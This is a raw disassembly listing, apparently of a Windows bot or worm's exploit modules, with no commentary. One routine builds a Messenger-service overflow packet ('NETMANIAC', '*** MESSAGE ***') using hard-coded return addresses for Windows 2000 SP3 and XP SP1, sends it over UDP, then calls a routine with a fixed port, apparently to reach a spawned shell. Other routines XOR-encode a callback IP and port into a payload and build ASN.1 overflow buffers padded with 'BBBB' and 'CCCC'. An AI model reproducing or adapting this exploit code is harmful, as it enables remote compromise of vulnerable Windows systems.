xor eax, eax
loc_40DE12: ; CODE XREF: sub_40DDD9+4Fj
mov cl, [ebp+eax+var_40]
mov [ebp+eax*2+var_108], cl
mov [ebp+eax*2+var_107], bl
inc eax
cmp eax, 28h
jl short loc_40DE12
push 60h
lea eax, [ebp+var_B8]
push offset dword_43EFF8
push eax
call sub_41F400
lea eax, [ebp+var_40]
push eax
call sub_41E1C0
shl eax, 1
push eax
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_88]
push eax
call sub_41F400
add esp, 1Ch
push 9
lea eax, [ebp+var_40]
push (offset aC_4+3)
push eax
call sub_41E1C0
pop ecx
lea eax, [ebp+eax*2+var_89]
push eax
call sub_41F400
lea eax, [ebp+var_40]
push eax
call sub_41E1C0
add al, 1Ah
shl al, 1
mov [ebp+var_1], al
push 1
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B5]
push eax
call sub_41F400
lea eax, [ebp+var_40]
push eax
call sub_41E1C0
shl al, 1
add al, 9
mov [ebp+var_2], al
push 1
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_8B]
push eax
call sub_41F400
xor eax, eax
mov ax, word ptr ds:dword_4D525C
add esp, 2Ch
push eax
call ds:dword_444260 ; htons
push [ebp+arg_0]
xor eax, 9999h
mov [ebp+var_18], eax
call sub_4023C9
pop ecx
push eax
call ds:dword_44417C ; inet_addr
xor eax, 99999999h
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_18]
push eax
push offset word_43EB76
call sub_41F400
push 4
lea eax, [ebp+var_8]
push eax
push offset byte_43EB6F
call sub_41F400
add esp, 18h
cmp [ebp+arg_C0], ebx
jz loc_40E001
mov edi, 0DACh
push edi
lea eax, [ebp+var_2CAC]
push 90h
push eax
call sub_41E5F0
mov eax, [ebp+arg_C0]
imul eax, 3Ch
lea eax, dword_43F440[eax]
push 4
push eax
mov [ebp+var_14], eax
lea eax, [ebp+var_24C8]
push eax
call sub_41F400
mov esi, offset dword_43EB00
push esi
call sub_41E1C0
push eax
lea eax, [ebp+var_24B8]
push esi
push eax
call sub_41F400
push 4
lea eax, [ebp+var_2194]
push offset dword_432F80
push eax
call sub_41F400
push 4
push [ebp+var_14]
lea eax, [ebp+var_2190]
push eax
call sub_41F400
add esp, 40h
push esi
call sub_41E1C0
push eax
lea eax, [ebp+var_2184]
push esi
push eax
call sub_41F400
add esp, 10h
xor eax, eax
loc_40DFB3: ; CODE XREF: sub_40DDD9+1F2j
mov cl, [ebp+eax+var_2CAC]
mov [ebp+eax*2+var_4808], cl
mov [ebp+eax*2+var_4807], bl
inc eax
cmp eax, edi
jl short loc_40DFB3
mov esi, 1C52h
push esi
lea eax, [ebp+var_89B8]
push 31h
push eax
mov [ebp+var_2CB0], bl
mov [ebp+var_2CAF], bl
call sub_41E5F0
push esi
lea eax, [ebp+var_68E0]
push 31h
push eax
call sub_41E5F0
add esp, 18h
jmp short loc_40E058
; ---------------------------------------------------------------------------
loc_40E001: ; CODE XREF: sub_40DDD9+143j
push 7D0h
lea eax, [ebp+var_F18]
push 90h
push eax
call sub_41E5F0
mov esi, offset dword_43EB00
push esi
call sub_41E1C0
push eax
lea eax, [ebp+var_E78]
push esi
push eax
call sub_41F400
lea eax, [ebp+var_10]
push eax
call sub_41E1C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_75C]
push eax
call sub_41F400
mov eax, ds:dword_43F440
add esp, 2Ch
mov [ebp+var_76C], eax
loc_40E058: ; CODE XREF: sub_40DDD9+226j
push 0E29h
lea eax, [ebp+var_1EFC]
push 31h
push eax
call sub_41E5F0
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
push ebx
add eax, 4
push eax
lea eax, [ebp+var_B8]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
mov esi, 640h
push esi
lea eax, [ebp+var_748]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push 68h
push offset dword_43F060
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
push esi
lea eax, [ebp+var_748]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push 0A0h
push offset dword_43F0D0
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
push esi
lea eax, [ebp+var_748]
push eax
push edi
call ds:dword_444064 ; recv
cmp [ebp+arg_C0], ebx
jz loc_40E1B2
push 68h
lea eax, [ebp+var_89B8]
push offset dword_43F290
push eax
call sub_41F400
push 1B5Ah
lea eax, [ebp+var_4808]
push eax
lea eax, [ebp+var_8950]
push eax
call sub_41F400
push 70h
lea eax, [ebp+var_68E0]
push offset dword_43F300
push eax
call sub_41F400
push 0A5Eh
lea eax, [ebp+var_3774]
push eax
lea eax, [ebp+var_6870]
push eax
call sub_41F400
push 84h
lea eax, [ebp+var_5DAC]
push offset dword_43F378
push eax
call sub_41F400
add esp, 3Ch
push ebx
push 10FCh
lea eax, [ebp+var_89B8]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
push esi
lea eax, [ebp+var_748]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68E0]
jmp short loc_40E208
; ---------------------------------------------------------------------------
loc_40E1B2: ; CODE XREF: sub_40DDD9+329j
push 7Ch
lea eax, [ebp+var_1EFC]
push offset dword_43F178
push eax
call sub_41F400
push 7D0h
lea eax, [ebp+var_F18]
push eax
lea eax, [ebp+var_1E80]
push eax
call sub_41F400
push 90h
lea eax, [ebp+var_16B0]
push offset off_43F1F8
push eax
call sub_41F400
add esp, 24h
push ebx
mov [ebp+var_1205], bl
push 0CF8h
lea eax, [ebp+var_1EFC]
loc_40E208: ; CODE XREF: sub_40DDD9+3D7j
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E219
loc_40E215: ; CODE XREF: sub_40DDD9+2B5j
; sub_40DDD9+2E2j ...
xor al, al
jmp short loc_40E21B
; ---------------------------------------------------------------------------
loc_40E219: ; CODE XREF: sub_40DDD9+43Aj
mov al, 1
loc_40E21B: ; CODE XREF: sub_40DDD9+43Ej
pop edi
pop esi
pop ebx
leave
retn
sub_40DDD9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 654h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-14h], 2
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call ds:dword_444260 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call ds:dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E319
push 10h
lea eax, [ebp-14h]
push eax
push ebx
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E319
push edi
push 89h
push offset dword_43EDD8
push ebx
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E319
push edi
mov esi, 640h
push esi
lea eax, [ebp-654h]
push eax
push ebx
call ds:dword_444064 ; recv
push edi
push 0A8h
push offset dword_43EE68
push ebx
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E319
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call ds:dword_444064 ; recv
push edi
push 0DEh
push offset dword_43EF18
push ebx
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E319
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call ds:dword_444064 ; recv
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40E341
dec eax
jz short loc_40E320
loc_40E319: ; CODE XREF: seg000:0040E274j
; seg000:0040E28Aj ...
xor eax, eax
jmp loc_40E3AD
; ---------------------------------------------------------------------------
loc_40E320: ; CODE XREF: seg000:0040E317j
push edi
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40DDD9
add esp, 0C4h
push 0
jmp short loc_40E365
; ---------------------------------------------------------------------------
loc_40E341: ; CODE XREF: seg000:0040E314j
push 2
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40DDD9
add esp, 0C4h
test al, al
jnz short loc_40E385
push 1
loc_40E365: ; CODE XREF: seg000:0040E33Fj
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40DDD9
add esp, 0C4h
test al, al
jz short loc_40E38C
loc_40E385: ; CODE XREF: seg000:0040E361j
mov dword ptr [ebp-4], 1
loc_40E38C: ; CODE XREF: seg000:0040E383j
push ebx
call ds:dword_444218 ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40E3AA
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
loc_40E3AA: ; CODE XREF: seg000:0040E397j
xor eax, eax
inc eax
loc_40E3AD: ; CODE XREF: seg000:0040E31Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3B2 proc near ; CODE XREF: seg000:0040E670p
var_13DC = byte ptr -13DCh
var_13CC = byte ptr -13CCh
var_11E8 = byte ptr -11E8h
var_AE4 = byte ptr -0AE4h
var_68E = byte ptr -68Eh
var_683 = dword ptr -683h
var_67F = dword ptr -67Fh
var_67B = byte ptr -67Bh
var_551 = byte ptr -551h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 13DCh
call sub_41EA20
push ebx
push esi
push edi
mov esi, offset dword_433008
lea edi, [ebp+var_10]
movsd
movsd
movsd
movsb
mov esi, offset aNetmaniac ; "NETMANIAC"
lea edi, [ebp+var_24]
movsd
movsd
movsw
mov esi, offset aAdik ; "ADIK"
lea edi, [ebp+var_18]
movsd
movsb
push 7
pop ecx
mov esi, offset dword_432FD4
lea edi, [ebp+var_54]
rep movsd
movsw
movsb
mov esi, offset dword_432FC4
lea edi, [ebp+var_34]
movsd
movsd
push [ebp+arg_4]
movsd
movsb
mov esi, offset aMessage ; "*** MESSAGE ***"
lea edi, [ebp+var_13DC]
movsd
movsd
movsd
movsd
mov esi, [ebp+arg_0]
xor eax, eax
push eax
mov ecx, 4DEh
lea edi, [ebp+var_13CC]
push esi
rep stosd
call sub_41E5F0
push 50h
push offset dword_43F6E0
push esi
call sub_41F400
lea eax, [ebp+var_24]
push eax
call sub_41E1C0
mov edi, eax
push 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [esi+50h]
inc edi
push eax
mov [ebp+var_10], edi
mov [ebp+var_8], edi
call sub_41F400
lea eax, [ebp+var_24]
push eax
lea eax, [esi+5Ch]
push eax
call sub_41EEC0
dec edi
lea eax, [ebp+var_18]
and edi, 0FFFFFFFCh
push eax
add edi, 60h
call sub_41E1C0
mov ebx, eax
inc ebx
mov [ebp+var_10], ebx
mov [ebp+var_8], ebx
push 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [edi+esi]
push eax
call sub_41F400
add esp, 40h
lea eax, [ebp+var_18]
push eax
add edi, 0Ch
lea eax, [edi+esi]
push eax
call sub_41EEC0
push 8F8h
dec ebx
lea eax, [ebp+var_13DC]
push 90h
and ebx, 0FFFFFFFCh
push eax
lea edi, [edi+ebx+4]
call sub_41E5F0
push 1E4h
lea eax, [ebp+var_11E8]
push offset dword_43F4F8
push eax
call sub_41F400
push 708h
lea eax, [ebp+var_AE4]
push 14h
push eax
call sub_41E5F0
push 0Dh
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_68E]
push eax
call sub_41F400
mov eax, [ebp+arg_8]
mov [ebp+var_683], eax
mov eax, [ebp+arg_C]
mov [ebp+var_67F], eax
push 1Eh
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_67B]
push eax
call sub_41F400
add esp, 44h
mov eax, 0E8Ch
sub eax, edi
push eax
push offset aMsgBodySizeD ; "[*] Msg body size: %d\n"
push offset dword_443520
call sub_41ECA2
lea eax, [ebp+var_551]
sub eax, edi
mov byte ptr [eax], 0
lea eax, [ebp+var_13DC]
push eax
call sub_41E1C0
mov ebx, eax
push 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [edi+esi]
inc ebx
push eax
mov [ebp+var_10], ebx
mov [ebp+var_8], ebx
call sub_41F400
lea eax, [ebp+var_13DC]
push eax
add edi, 0Ch
lea eax, [edi+esi]
push eax
call sub_41EEC0
push 0
add edi, ebx
call sub_41F87E
mov [esi+28h], eax
add esp, 28h
lea eax, [edi-50h]
mov [esi+4Ah], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40E3B2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2064h
call sub_41EA20
push ebx
push esi
push edi
push 5
pop ecx
mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
lea edi, [ebp-64h]
rep movsd
movsw
movsb
xor eax, eax
lea edi, [ebp-4Dh]
stosd
stosw
stosb
push 5
mov dword ptr [ebp-44h], 77EE044Ch
mov dword ptr [ebp-40h], 768D693Eh
pop ecx
mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
lea edi, [ebp-3Ch]
rep movsd
movsb
xor eax, eax
lea edi, [ebp-27h]
stosd
stosd
stosb
lea eax, [ebp+0Ch]
push 1
push eax
mov dword ptr [ebp-1Ch], 77ED73B4h
mov dword ptr [ebp-18h], 7804BF52h
call sub_41AA0A
cmp eax, 1
pop ecx
pop ecx
jz loc_40E6F3
test eax, eax
jz loc_40E6F3
push 2
pop edi
cmp eax, edi
jnz short loc_40E61A
xor esi, esi
jmp short loc_40E61D
; ---------------------------------------------------------------------------
loc_40E61A: ; CODE XREF: seg000:0040E614j
mov esi, [ebp-14h]
loc_40E61D: ; CODE XREF: seg000:0040E618j
cmp eax, 3
jnz short loc_40E625
xor esi, esi
inc esi
loc_40E625: ; CODE XREF: seg000:0040E620j
push 10h
lea eax, [ebp-10h]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov [ebp-10h], di
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_444260 ; htons
mov [ebp-0Eh], ax
lea eax, [esi+esi*4]
shl eax, 3
push dword ptr [ebp+eax-44h]
push dword ptr [ebp+eax-40h]
lea eax, [ebp-2064h]
push 2000h
push eax
call sub_40E3B2
add esp, 10h
push 11h
push edi
push edi
mov ebx, eax
call ds:dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E6F3
push 10h
lea eax, [ebp-10h]
push eax
push 0
push ebx
lea eax, [ebp-2064h]
push eax
push esi
call ds:dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_40E6F3
push esi
call ds:dword_444218 ; closesocket
push 1F4h
call ds:dword_42B014 ; Sleep
push 23E7h
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_40E6F3
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_40E6F5
; ---------------------------------------------------------------------------
loc_40E6F3: ; CODE XREF: seg000:0040E601j
; seg000:0040E609j ...
xor eax, eax
loc_40E6F5: ; CODE XREF: seg000:0040E6F1j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40E6FA proc near ; CODE XREF: sub_40F1FF+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movsx eax, [esp+arg_8]
push [esp+arg_4]
push eax
push [esp+8+arg_0]
call sub_41E5F0
add esp, 0Ch
retn
sub_40E6FA endp
; =============== S U B R O U T I N E =======================================
sub_40E711 proc near ; CODE XREF: sub_40E971+116p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_41E5D3
mov edi, eax
test edi, edi
pop ecx
jz short loc_40E743
push ebx
push 0
push edi
call sub_41E5F0
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41F400
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40E743: ; CODE XREF: sub_40E711+14j
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_40E711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E74B proc near ; CODE XREF: sub_40E841+19p
; sub_40E8B5+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
push esi
mov ebx, ecx
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41E5D3
mov esi, eax
test esi, esi
pop ecx
jz short loc_40E797
push edi
push 0
push esi
call sub_41E5F0
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41F400
push [ebp+arg_C]
mov eax, [ebp+arg_4]
push [ebp+arg_8]
add eax, esi
push eax
call sub_41F400
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40E797: ; CODE XREF: sub_40E74B+1Cj
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 10h
sub_40E74B endp
; =============== S U B R O U T I N E =======================================
sub_40E7A0 proc near ; CODE XREF: sub_40E841+5Bp
; sub_40E841+68p ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40E7B0
push eax
call sub_41E2A1
pop ecx
loc_40E7B0: ; CODE XREF: sub_40E7A0+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40E7A0 endp
; =============== S U B R O U T I N E =======================================
sub_40E7B9 proc near ; CODE XREF: sub_40E841+21p
; sub_40E916+8p ...
push esi
mov esi, ecx
mov eax, [esi+4]
cmp eax, 0FFFFh
jl short loc_40E7CA
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E7CA: ; CODE XREF: sub_40E7B9+Bj
push ebx
xor ebx, ebx
cmp eax, 7Fh
setnl bl
push edi
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_41E5D3
mov edi, eax
test edi, edi
pop ecx
jnz short loc_40E7EB
xor al, al
jmp short loc_40E83D
; ---------------------------------------------------------------------------
loc_40E7EB: ; CODE XREF: sub_40E7B9+2Cj
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_41E5F0
add esp, 0Ch
cmp ebx, 1
jnz short loc_40E80B
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40E820
; ---------------------------------------------------------------------------
loc_40E80B: ; CODE XREF: sub_40E7B9+46j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40E820: ; CODE XREF: sub_40E7B9+50j
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_41F400
add esp, 0Ch
push dword ptr [esi]
call sub_41E2A1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40E83D: ; CODE XREF: sub_40E7B9+30j
pop edi
pop ebx
pop esi
retn
sub_40E7B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E841 proc near ; CODE XREF: sub_40E971+7Fp
; sub_40E971+DBp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42C814
call sub_40E74B
lea ecx, [ebp+var_8]
call sub_40E7B9
mov ebx, [ebp+var_4]
inc ebx
push ebx
call sub_41E5D3
mov edi, eax
test edi, edi
pop ecx
jnz short loc_40E87C
xor al, al
jmp short loc_40E8B0
; ---------------------------------------------------------------------------
loc_40E87C: ; CODE XREF: sub_40E841+35j
push ebx
push 0
push edi
call sub_41E5F0
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
mov byte ptr [edi], 3
push eax
call sub_41F400
add esp, 18h
mov ecx, esi
call sub_40E7A0
lea ecx, [ebp+var_8]
mov [esi+4], ebx
mov [esi], edi
call sub_40E7A0
mov al, 1
loc_40E8B0: ; CODE XREF: sub_40E841+39j
pop edi
pop esi
pop ebx
leave
retn
sub_40E841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8B5 proc near ; CODE XREF: sub_40E8E9+14p
; sub_40E906+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push [ebp+arg_4]
mov esi, ecx
push [ebp+arg_0]
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40E74B
mov ecx, esi
call sub_40E7A0
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40E8B5 endp
; =============== S U B R O U T I N E =======================================
sub_40E8E9 proc near ; CODE XREF: sub_40E971+E8p
; sub_40E971+153p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_41E1C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40E8B5
pop esi
retn 4
sub_40E8E9 endp
; =============== S U B R O U T I N E =======================================
sub_40E906 proc near ; CODE XREF: sub_40E952+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40E8B5
retn 8
sub_40E906 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E916 proc near ; CODE XREF: sub_40E952+16p
; sub_40E971+87p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40E7B9
test al, al
jz short loc_40E94F
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42FB74
call sub_40E74B
mov ecx, esi
call sub_40E7A0
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40E94F: ; CODE XREF: sub_40E916+Fj
pop esi
leave
retn
sub_40E916 endp
; =============== S U B R O U T I N E =======================================
sub_40E952 proc near ; CODE XREF: sub_40E971+12Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
call sub_40E906
test al, al
jz short loc_40E96D
mov ecx, esi
call sub_40E916
loc_40E96D: ; CODE XREF: sub_40E952+12j
pop esi
retn 8
sub_40E952 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E971 proc near ; CODE XREF: seg000:0040F759p
var_848 = byte ptr -848h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 848h
push ebx
push esi
xor ecx, ecx
xor edx, edx
mov ebx, 408h
xor esi, esi
cmp [ebp+arg_8], ebx
mov [ebp+var_3C], ecx
mov [ebp+var_40], edx
jg loc_40ECC1
mov eax, [ebp+arg_10]
add eax, 8
cmp eax, ebx
ja loc_40ECC1
push edi
push 4
push offset dword_43F74C
lea ecx, [ebp+var_28]
mov [ebp+var_24], esi
mov [ebp+var_28], esi
mov [ebp+var_4], esi
mov [ebp+var_8], esi
mov [ebp+var_34], esi
mov [ebp+var_38], esi
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_2C], esi
mov [ebp+var_30], esi
mov [ebp+var_1C], esi
mov [ebp+var_20], esi
mov [ebp+var_14], esi
mov [ebp+var_18], esi
call sub_40E8B5
push 3
push offset dword_43F748
lea ecx, [ebp+var_28]
call sub_40E8B5
lea ecx, [ebp+var_28]
call sub_40E841
lea ecx, [ebp+var_28]
call sub_40E916
mov edi, 800h
push edi
lea eax, [ebp+var_848]
push 42h
push eax
call sub_41E5F0
add esp, 0Ch
push 8
push offset aRbrbrbrb ; "BBBB"
lea ecx, [ebp+var_8]
call sub_40E8B5
push [ebp+arg_10]
lea ecx, [ebp+var_8]
push [ebp+arg_C]
call sub_40E8B5
mov eax, 409h
sub eax, [ebp+var_4]
lea ecx, [ebp+var_8]
push eax
lea eax, [ebp+var_848]
push eax
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E841
push offset dword_43306C
lea ecx, [ebp+var_38]
call sub_40E8E9
lea ecx, [ebp+var_38]
call sub_40E841
push edi
lea eax, [ebp+var_848]
push 44h
push eax
call sub_41E5F0
add esp, 0Ch
push 410h
lea eax, [ebp+var_848]
push eax
lea ecx, [ebp+var_48]
call sub_40E711
lea ecx, [ebp+var_48]
call sub_40E841
push [ebp+var_44]
lea ecx, [ebp+var_38]
push [ebp+var_48]
call sub_40E952
lea ecx, [ebp+var_48]
call sub_40E7A0
push edi
lea eax, [ebp+var_848]
push 43h
push eax
call sub_41E5F0
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_10]
call sub_40E8E9
push 4
push offset dword_43F734
lea ecx, [ebp+var_10]
call sub_40E8B5
push [ebp+arg_8]
lea ecx, [ebp+var_10]
push [ebp+arg_4]
call sub_40E8B5
sub ebx, [ebp+arg_8]
lea eax, [ebp+var_848]
push ebx
push eax
lea ecx, [ebp+var_10]
call sub_40E8B5
lea ecx, [ebp+var_10]
call sub_40E841
push [ebp+var_C]
mov eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_30]
call sub_40E8B5
push [ebp+var_34]
mov eax, [ebp+var_38]
push eax
lea ecx, [ebp+var_30]
call sub_40E8B5
lea ecx, [ebp+var_30]
call sub_40E916
lea ecx, [ebp+var_10]
call sub_40E7A0
lea ecx, [ebp+var_38]
call sub_40E7A0
push [ebp+var_4]
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_20]
call sub_40E8B5
push [ebp+var_24]
mov eax, [ebp+var_28]
push eax
lea ecx, [ebp+var_20]
call sub_40E8B5
push [ebp+var_2C]
mov eax, [ebp+var_30]
push eax
lea ecx, [ebp+var_20]
call sub_40E8B5
lea ecx, [ebp+var_20]
call sub_40E916
lea ecx, [ebp+var_8]
call sub_40E7A0
lea ecx, [ebp+var_28]
call sub_40E7A0
lea ecx, [ebp+var_30]
call sub_40E7A0
push edi
lea eax, [ebp+var_848]
push 41h
push eax
call sub_41E5F0
add esp, 0Ch
push 400h
lea eax, [ebp+var_848]
push eax
lea ecx, [ebp+var_18]
call sub_40E8B5
lea ecx, [ebp+var_18]
call sub_40E841
push 2
push offset dword_433060
lea ecx, [ebp+var_18]
call sub_40E8B5
push [ebp+var_1C]
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_18]
call sub_40E8B5
lea ecx, [ebp+var_18]
call sub_40E916
lea ecx, [ebp+var_20]
call sub_40E7A0
push [ebp+var_14]
mov eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_10]
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_4], esi
mov [ebp+var_8], esi
call sub_40E8B5
lea ecx, [ebp+var_10]
call sub_40E7B9
lea ecx, [ebp+var_18]
call sub_40E7A0
push offset dword_43305C
lea ecx, [ebp+var_8]
call sub_40E8E9
push [ebp+var_C]
mov eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_8]
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E7B9
lea ecx, [ebp+var_10]
call sub_40E7A0
push offset dword_433058
lea ecx, [ebp+var_10]
call sub_40E8E9
push [ebp+var_4]
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_10]
call sub_40E8B5
lea ecx, [ebp+var_10]
call sub_40E7B9
lea ecx, [ebp+var_8]
call sub_40E7A0
push offset dword_43304C
lea ecx, [ebp+var_8]
call sub_40E8E9
push [ebp+var_C]
mov eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_8]
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E7B9
lea ecx, [ebp+var_10]
call sub_40E7A0
push offset asc_433048 ; "`"
lea ecx, [ebp+var_40]
call sub_40E8E9
push [ebp+var_4]
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_40]
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E7A0
mov ecx, [ebp+var_40]
